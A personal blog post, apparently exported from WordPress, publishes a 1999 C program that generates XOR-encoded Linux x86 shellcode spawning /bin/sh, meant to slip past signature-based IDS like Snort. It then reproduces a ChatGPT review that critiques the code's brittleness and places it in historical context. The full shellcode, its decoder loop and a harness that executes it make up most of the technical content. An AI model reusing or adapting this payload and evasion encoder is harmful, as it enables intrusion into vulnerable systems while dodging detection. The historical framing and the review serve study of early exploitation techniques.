I wrote this shellcode (and its generator) in around 1999, which generates an XOR encoded\/encrypted shellcode to bypass IDS (intrusion detection systems) like Snort.<\/p>\n\n\n\n
I publish it now because I feel like it’s an interesting bit of history. It mostly won’t work on modern systems with non-exec stack but it should be interesting to see if shellcodes these days have an XOR encoder\/decoder payload, which of course could end up being a signature in itself…<\/p>\n\n\n\n
#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <unistd.h>\n#include <assert.h>\n\n#include <sys\/syscall.h>\n\n#define NOP 0x90\n\n#define TESTCODE\n\nint get_esp()\n{\n\tint esp = (int) &esp;\n\treturn esp;\n}\n\nvoid generate_shellcode(unsigned char *p, int len)\n{\n\tprintf(\"Len: %d\\n\", len);\n\n\twhile (len--) {\n\t\tprintf(\"\\\\x%x\", (int) (*p++));\n\t}\n\n\tprintf(\"\\n\");\n}\n\nvoid shellcode()\n{\n\t\/* start *\/\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n\n\n\/* Shortened Aleph1 shellcode with xor encrypt\/decrypt *\/\n\tasm(\"\n\t\tpushl $0x2 \t\t\t# should we decrypt? 1 = yes\n\n\t\t# decryption routine \n\n\t\tpopl %eax\n\t\tcmpl $0x1, %eax\t\t\t# check decrypt?\n\t\tjne shellcode_start\t\t# jmp if no need to decrypt\n\t\tjmp d1\t\t\t\t# jmp to call (get eip)\n\t\t\t\t\t\t# NOTE: EIP is pointing to the\n\t\t\t\t\t\t# end of the decryption routine\n\td2:\n\t\tpopl %esi\t\t\t# grab eip off stack\n\t\taddl $3, %esi\t\t\t# add 3 bytes to bypass NOPs at end of decrypt\n\t\txor %ecx, %ecx\t\t\t# clear %ecx\n\t\tmovb $40, %ecx \t\t\t# length of shellcode: 40 - 1 = 39 bytes\n\tl1:\n\t\txorb $127, (%esi)\t\t# encrypt\/decrypt with $127\n\t\tincl %esi\t\t\t# increment index\n\t\tdecl %ecx\t\t\t# decrement counter\n\t\tcmp $1, %ecx\t\t\t# check counter (1 here cause of nullterm problem)\n\t\tjne l1\t\t\t\t# loop back to l1\n\t\n\t\tjmp shellcode_start\t\t# end of decryption routine\n\td1:\n\t\tcall d2\t\t\t\t# fake call to get EIP\n\n\t\n\t\tnop\n\t\tnop\n\t\tnop\t\t\t\t# end of decryption\n\t\t\t\t\t\t# routine marker\n\t\t\t\t\t\t# (35 bytes)\n\n\tshellcode_start:\t\t\t# standard aleph1 (shortened)\n\t\tjmp moo\n\tbegin:\n\t\tpopl %esi # 1 byte\n\t\tmovl %esi,0x8(%esi) # 3 bytes\n\n\t\t# nullifies.. (string + nullword) \n\t\txorl %eax,%eax # 2 bytes\n\t\tmovb %eax,0x7(%esi) # 3 bytes\n\t\tmovl %eax,0xc(%esi) # 3 bytes\n\n\t\t# set mode\n\t\tmovb $0xb,%al # 2 bytes\n\n\t\t# set address\/vectors\n\t\tmovl %esi,%ebx # 2 bytes\n\t\tleal 0x8(%esi),%ecx # 3 bytes\n\t\tleal 0xc(%esi),%edx # 3 bytes\n\t\tint $0x80 # 2 bytes\n\tmoo:\n\t\tcall begin\n\t\t.string \\\"\/bin\/sh\\\"\n\t\");\n\n\t\/* end *\/\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n}\n\nint main(int argc, char **argv)\n{\n\tunsigned char *start, *end;\n\n\tstart = (unsigned char *) shellcode;\n\twhile (1) {\n\t\tif (start[0] == NOP) {\n\t\t\tif ((start[1] == NOP) && (start[2] == NOP) &&\n\t\t\t\t(start[3] == NOP)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tstart++;\n\t}\n\tstart += 4;\n\n\tend = (unsigned char *) start;\n\twhile (1) {\n\t\tif (end[0] == NOP) {\n\t\t\tif ((end[1] == NOP) && (end[2] == NOP) &&\n\t\t\t\t(end[3] == NOP)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tend++;\n\t}\n\n\tif (argc < 2) {\n\t\tgenerate_shellcode((unsigned char *) start, end - start);\n\t\tprintf(\"%%esp: 0x%x\\n\", get_esp());\t\t\n\t}\n\n#ifdef TESTCODE\n\tprintf(\"Testing shellcode...\\n\");\n\t{\n\t\tchar buf[512];\n\t\tvoid (*func)() = (void *) buf;\n\t\tint i;\n\t\tchar *p;\n\n\t\t\/* this isn't accurate.. but it will allow you to test\n\t\tnull-based shellcode *\/\n\t\tmemcpy(buf, start, end - start);\n\n\t\tp = buf + 38;\n\n\t\tfor (i = 0; i < 39; i++) {\n\t\t\tp[i] ^= 127;\n\t\t}\n\t\n\t\tbuf[1] = 1; \/* yes, ask it to decrypt *\/\t\n\n\t\t\/* print out the encrypted shellcode *\/\n\t\tgenerate_shellcode(buf, end - start);\n\n\t\t\/* strcpy(buf, start); \/* this is more accurate, like\n\t\t\t\t\treal shellcode *\/\n\n\t\t(*func)();\n\t}\n#endif\n\n}\n<\/code><\/pre>\n\n\n\nChatGPT analysis below:<\/p>\n\n\n\n
\nwhat do you think of the following shellcode generator?<\/strong><\/p>\n\n\n\nShare the shellcode generator’s source code, and I’ll give it a technical review.<\/p>\n\n\n\n
I’ll focus on:<\/p>\n\n\n\n
\n- Code quality: Structure, readability, maintainability, and correctness.<\/li>\n\n\n\n
- Shellcode generation: Instruction encoding, architecture compatibility, position independence, and null-byte handling.<\/li>\n\n\n\n
- Memory safety: Buffer management, alignment, and potential undefined behavior.<\/li>\n\n\n\n
- Reliability: Edge cases, error handling, and portability.<\/li>\n\n\n\n
- Security: Unsafe assumptions, vulnerabilities, and potential misuse.<\/li>\n\n\n\n
- Design: Whether the implementation is unnecessarily complex and how it could be improved.<\/li>\n<\/ul>\n\n\n\n
I can also assess the implementation from a low-level systems programming and reverse-engineering perspective, including its use of assembly, calling conventions, and executable memory.<\/p>\n\n\n\n
Paste the code here or upload the file. I’ll give you a candid assessment of what’s well implemented, what’s questionable, and what I’d change.<\/p>\n\n\n\n
shellcode_generator5.cCode<\/strong><\/p>\n\n\n\nI’ve reviewed shellcode_generator5.c<\/code>. My assessment is that it’s an interesting piece of old-school Linux\/x86 shellcode engineering, particularly as an educational example of position-independent code and XOR encoding. However, it is fragile, relies on several undocumented assumptions, and is not a robust general-purpose shellcode generator.<\/p>\n\n\n\nOverall assessment<\/h2>\n\n\n\n
Historical \/ educational value<\/p>\n\n\n\n
8\/10<\/p>\n\n\n\n
Implementation quality<\/p>\n\n\n\n
4\/10<\/p>\n\n\n\n
Portability \/ reliability<\/p>\n\n\n\n
2\/10<\/p>\n\n\n\n
These are subjective ratings based on static inspection, not execution tests.<\/p>\n\n\n\n
What I like<\/h2>\n\n\n\n
1. Position-independent design<\/p>\n\n\n\n
The use of the jmp<\/code>\/call<\/code>\/pop<\/code> technique to obtain an address relative to the instruction pointer is a classic 32-bit x86 technique. It demonstrates an understanding of how position-independent machine code can locate embedded data without relying on fixed addresses.<\/p>\n\n\n\n2. Compact syscall-oriented payload<\/p>\n\n\n\n
The assembly uses the traditional Linux i386 int $0x80<\/code> interface and syscall number 11 (execve<\/code>). The payload constructs its argument pointers around the embedded \/bin\/sh<\/code> string.<\/p>\n\n\n\nThis is historically representative of early Linux shellcode implementations.<\/p>\n\n\n\n
3. XOR encoding as a teaching example<\/p>\n\n\n\n
The decryption loop illustrates the basic principle of applying XOR to a byte sequence and reversing that transformation with the same key.<\/p>\n\n\n\n
It is worth distinguishing encoding from encryption, though: a fixed single-byte XOR key offers essentially no cryptographic protection.<\/p>\n\n\n\n
Problems I noticed<\/h2>\n\n\n\nLocation<\/th> Issue<\/th> Severity<\/th><\/tr> Lines 110\u2013131<\/td> Unbounded search for four consecutive NOPs<\/td> High<\/td><\/tr> Lines 141\u2013148<\/td> Fixed 512-byte buffer with no length check<\/td> High<\/td><\/tr> Lines 150\u2013153<\/td> Hard-coded offsets and encoded length<\/td> High<\/td><\/tr> Lines 156\u2013164<\/td> Assumes executable stack memory<\/td> High<\/td><\/tr> Lines 14\u201317<\/td> Pointer-to-int<\/code> conversion<\/td>Medium<\/td><\/tr> Lines 24\u201325<\/td> Hex output lacks zero-padding<\/td> Medium<\/td><\/tr> Lines 40\u201397<\/td> Architecture\/compiler-specific assembly<\/td> Medium<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n1. The NOP-marker extraction is brittle<\/h3>\n\n\n\n
The program locates its shellcode by scanning memory for four consecutive 0x90<\/code> bytes.<\/p>\n\n\n\nThere is no explicit boundary on either search. If the expected marker is absent, the scanner can continue reading outside the function’s valid code region.<\/p>\n\n\n\n
It also assumes the compiler preserves the inline assembly and its layout in exactly the expected way.<\/p>\n\n\n\n
2. The generator is tightly coupled to one payload<\/h3>\n\n\n\n
The fixed values 38<\/code>, 39<\/code>, and 40<\/code> are particularly revealing.<\/p>\n\n\n\nThey indicate that the encoding and decoding logic assumes a specific byte layout rather than deriving its boundaries from the actual payload.<\/p>\n\n\n\n
This makes the implementation difficult to maintain. Even a small assembly change could invalidate those assumptions.<\/p>\n\n\n\n
3. The testing mechanism is unsafe<\/h3>\n\n\n\n
The program copies bytes into a stack buffer and then attempts to execute them through a function pointer.<\/p>\n\n\n\n
Modern systems commonly mark stack pages non-executable. Consequently, the testing approach is unlikely to work reliably on a normally hardened system.<\/p>\n\n\n\n
There’s also no check that the extracted code fits in the destination buffer.<\/p>\n\n\n\n
4. There are correctness concerns in the assembly<\/h3>\n\n\n\n
One interesting detail is:<\/p>\n\n\n\n
xorl %eax,%eax movb %eax,0x7(%esi)<\/code><\/p>\n\n\n\nThe intent is clear: write a null terminator after \/bin\/sh<\/code>. However, the register naming and operand sizes deserve scrutiny. In conventional GNU x86 assembly syntax, movb<\/code> expects a byte-sized register such as %al<\/code>, not %eax<\/code>.<\/p>\n\n\n\nAs written, this may be rejected by the assembler.<\/p>\n\n\n\n
Also, the initial pushl $0x2<\/code> selects the non-decrypting path, while the test harness subsequently modifies a byte to select decryption. That makes the program’s behavior dependent on the precise encoding of its first instruction.<\/p>\n\n\n\nWhat I would improve<\/h2>\n\n\n\n
For a safe, maintainable generator used in assembly education or binary analysis, I would separate three responsibilities:<\/p>\n\n\n\n
\n- Payload representation: Store machine-code bytes with explicit lengths rather than discovering them through unbounded memory scans.<\/li>\n\n\n\n
- Encoding and serialization: Implement byte transformations and hexadecimal formatting independently of the assembly.<\/li>\n\n\n\n
- Validation: Verify lengths, architecture assumptions, and encoded output without executing the generated payload.<\/li>\n<\/ol>\n\n\n\n
I’d also replace magic numbers with named constants, use size_t<\/code> for buffer lengths, and add automated tests for the encoding and formatting routines.<\/p>\n\n\n\nFinal verdict<\/h2>\n\n\n\n
The most interesting part of this implementation isn’t the XOR operation itself. It’s the combination of position-independent assembly, embedded data, byte extraction, and runtime transformation.<\/p>\n\n\n\n
That shows familiarity with classic exploitation techniques, but the implementation is closer to a historical proof of concept than a reliable tool.<\/p>\n\n\n\n
One question that would materially change my assessment: Did you write this as a modern experiment, or is it older code you’re analyzing? The style is strongly reminiscent of late-1990s and early-2000s Linux\/x86 exploitation examples.<\/p>\n\n\n\n
i wrote it ages ago, 1999. the idea was to encode the shellcode with some sort of XOR encryption to avoid detection by IDS systems like Snort…<\/strong><\/p>\n\n\n\nAh, 1999! That puts the code in a completely different light. In that context, I think it’s a much more interesting piece of work than my initial assessment suggested.<\/p>\n\n\n\n
You were essentially experimenting with polymorphic shellcode techniques, or more precisely, XOR-encoded shellcode with a runtime decoder, to evade signature-based intrusion detection.<\/p>\n\n\n\n
And in 1999, that was a very relevant problem.<\/p>\n\n\n\n
Why your approach made sense<\/h3>\n\n\n\n
At the time, intrusion detection systems such as Snort were heavily dependent on pattern matching. If a rule looked for a recognizable sequence of bytes from a known exploit payload, transforming those bytes could prevent that particular signature from matching.<\/p>\n\n\n\n
Your approach had three important elements:<\/p>\n\n\n\n
\n- An XOR-encoded payload. The recognizable shellcode bytes were transformed using a fixed XOR key.<\/li>\n\n\n\n
- A small runtime decoder. The decoder would reverse the transformation before execution.<\/li>\n\n\n\n
- Position-independent addressing. The
jmp<\/code>\/call<\/code>\/pop<\/code> technique let the decoder locate its data without knowing its absolute memory address.<\/li>\n<\/ol>\n\n\n\nThe clever part was recognizing that an IDS inspecting the network traffic would see different bytes from those ultimately interpreted as instructions by the CPU.<\/p>\n\n\n\n
An important distinction<\/h3>\n\n\n\n
What you implemented was closer to encoded or self-decoding shellcode than fully polymorphic shellcode.<\/p>\n\n\n\n
Your decoder was static, your XOR key was fixed at 127<\/code>, and the payload structure remained constant.<\/p>\n\n\n\nA signature-based detector could therefore potentially recognize the decoder itself, even when the underlying payload was encoded.<\/p>\n\n\n\n
That doesn’t invalidate the experiment. It highlights the fundamental limitation of static signatures: matching a known byte sequence is not the same as understanding what a program will do when executed.<\/p>\n\n\n\n
The historical context is particularly interesting<\/h3>\n\n\n\n
In 1999:<\/p>\n\n\n\n
\n- Snort had only recently appeared, in 1998.<\/li>\n\n\n\n
- Linux shellcode commonly targeted 32-bit x86 using
int 0x80<\/code>.<\/li>\n\n\n\n- Stack execution was considerably more practical on many default configurations.<\/li>\n\n\n\n
- Modern mitigations such as widespread NX enforcement and ASLR were not yet standard.<\/li>\n\n\n\n
- Research into polymorphic and self-modifying shellcode was still developing.<\/li>\n<\/ul>\n\n\n\n
Your code sits right in that transition between straightforward exploit payloads and techniques designed to defeat network-based signature detection.<\/p>\n\n\n\n
One thing I especially noticed is that your generator wasn’t just outputting a transformed byte array. It also contained a test harness that copied the payload into a buffer and exercised its decoder. That suggests you were thinking about whether the encoded representation could successfully reconstruct the original code, not merely whether its bytes looked different.<\/p>\n\n\n\n
Something I’m curious about<\/h3>\n\n\n\n
Did you actually test this against Snort in 1999, or was it primarily a proof of concept?<\/p>\n\n\n\n
In particular, I’m interested in whether you observed a known shellcode signature matching the original payload but failing to match the XOR-encoded version.<\/p>\n\n\n\n
That would make this more than an interesting historical implementation: it would be an early practical experiment in the limitations of signature-based network intrusion detection.<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"
I wrote this shellcode (and its generator) in around 1999, which generates an XOR encoded\/encrypted shellcode to bypass IDS (intrusion detection systems) like Snort. I publish it now because I feel like it’s an interesting bit of history. It mostly won’t work on modern systems with non-exec stack but it should be interesting to see […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-111","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=111"}],"version-history":[{"count":3,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":114,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/111\/revisions\/114"}],"wp:attachment":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}